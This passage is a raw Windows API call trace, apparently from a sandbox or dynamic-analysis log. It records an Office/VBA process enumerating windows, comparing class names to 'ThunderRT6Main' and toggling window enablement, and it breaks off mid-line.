[0134.743] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.743] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0134.743] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.743] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.743] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.743] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0134.743] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.743] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.743] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.743] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0134.743] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0134.743] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0134.743] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.743] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0134.743] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0134.743] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0134.743] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.743] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0134.743] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0134.743] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0134.743] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0134.743] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.743] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.743] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.743] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0134.743] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0134.743] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0134.743] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0134.743] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0134.743] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0134.743] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.743] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0134.743] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0134.743] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0134.744] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0134.744] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0134.744] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0134.744] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.744] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0134.744] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0134.744] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0134.744] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0134.744] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0134.744] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0134.744] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.744] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0134.744] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0134.744] IsWindowEnabled (hWnd=0x20360) returned 1 [0134.744] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0134.744] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0134.744] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0134.744] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0134.744] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0134.744] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0134.744] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.744] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0134.744] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0134.744] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.744] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.744] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0134.744] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0134.744] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0134.744] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0134.744] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.744] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0134.744] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0134.744] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0134.744] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0134.745] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0134.745] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0134.745] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.745] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0134.745] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0134.745] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0134.745] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0134.745] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0134.745] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0134.745] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.745] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0134.745] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0134.745] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0134.745] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0134.745] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0134.745] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0134.745] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.745] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0134.745] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0134.745] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0134.745] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0134.745] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0134.745] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0134.745] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0134.745] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0134.745] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0134.745] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0134.745] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.745] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0134.745] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0134.745] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0134.745] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0134.745] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0134.745] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0134.745] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.746] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.746] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.746] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0134.747] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0134.747] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0134.747] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7a350 [0134.748] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7a350) [0137.593] GetAsyncKeyState (vKey=27) returned 0 [0137.593] GetCurrentThreadId () returned 0xbdc [0137.593] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0137.593] GetDesktopWindow () returned 0x10010 [0137.593] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0137.594] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0137.594] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0137.594] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0137.594] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0137.594] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0137.594] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0137.594] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0137.594] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0137.594] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0137.594] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0137.594] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0137.595] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0137.595] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0137.595] IsWindowEnabled (hWnd=0x20360) returned 0 [0137.595] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0137.595] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0137.595] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0137.595] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0137.595] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0137.595] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0137.595] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0137.595] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0137.595] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0137.595] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0137.596] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0137.596] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0137.596] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0137.596] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0137.596] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0137.596] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0137.596] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0137.596] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0137.596] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0137.596] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0137.596] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0137.597] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0137.598] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0137.738] GetCurrentThreadId () returned 0xbdc [0137.738] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0137.738] GetDesktopWindow () returned 0x10010 [0137.738] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0137.738] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0137.738] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0137.739] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0137.739] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0137.739] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0137.739] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0137.739] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0137.739] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0137.739] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0137.739] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0137.739] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0137.739] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0137.739] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0137.739] IsWindowEnabled (hWnd=0x20360) returned 1 [0137.740] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0137.740] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0137.740] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0137.740] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0137.740] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0137.740] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0137.740] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0137.740] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0137.740] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0137.740] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0137.740] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0137.741] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0137.741] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0137.741] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0137.741] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0137.741] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0137.741] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0137.741] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0137.741] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0137.741] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0137.741] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0137.741] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0137.741] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0137.741] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0137.742] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0137.742] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0137.742] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0137.742] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0137.742] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0137.742] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0137.742] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0137.742] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0137.742] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0137.743] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0137.743] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0137.743] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0137.743] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0137.743] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0137.743] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0137.744] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0137.744] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0137.744] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0137.744] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0137.744] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0137.744] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0137.745] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0137.745] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0137.745] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0137.745] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0137.745] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0137.746] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0137.746] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0137.746] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0137.746] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0137.746] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0137.747] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0137.747] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0137.747] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0137.747] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0137.747] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0137.747] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0137.748] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0137.748] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0137.748] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0137.748] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0137.748] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0137.749] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0137.749] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0137.749] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0137.749] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0137.749] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0137.749] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0137.750] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0137.750] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0137.750] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0137.750] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0137.750] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0137.751] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0137.751] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0137.751] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0137.751] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0137.751] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0137.752] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0137.752] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0137.752] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0137.752] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0137.752] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0137.752] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0137.753] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0137.753] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0137.753] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0137.753] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0137.753] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0137.754] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0137.754] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0137.754] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0137.755] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0137.755] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0137.755] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0137.755] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0137.755] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0137.755] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0137.756] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0137.756] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0137.756] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0137.756] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0137.756] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0137.757] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0137.757] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0137.757] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0137.757] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0137.757] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0137.757] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0137.758] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0137.758] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0137.758] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0137.758] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0137.758] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0137.759] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0137.759] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0137.759] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0137.759] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0137.759] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0137.759] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0137.760] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0137.760] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0137.760] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0137.760] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0137.760] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0137.761] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0137.761] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0137.761] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0137.761] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0137.761] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0137.762] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0137.762] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0137.762] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0137.762] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0137.762] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0137.762] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0137.763] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0137.763] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0137.763] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0137.763] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0137.763] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0137.764] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0137.764] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0137.764] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0137.764] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0137.764] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0137.765] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0137.765] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0137.765] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0137.765] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0137.765] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0137.765] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0137.766] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0137.766] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0137.766] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0137.766] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0137.766] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0137.767] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0137.767] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0137.767] GetWindow 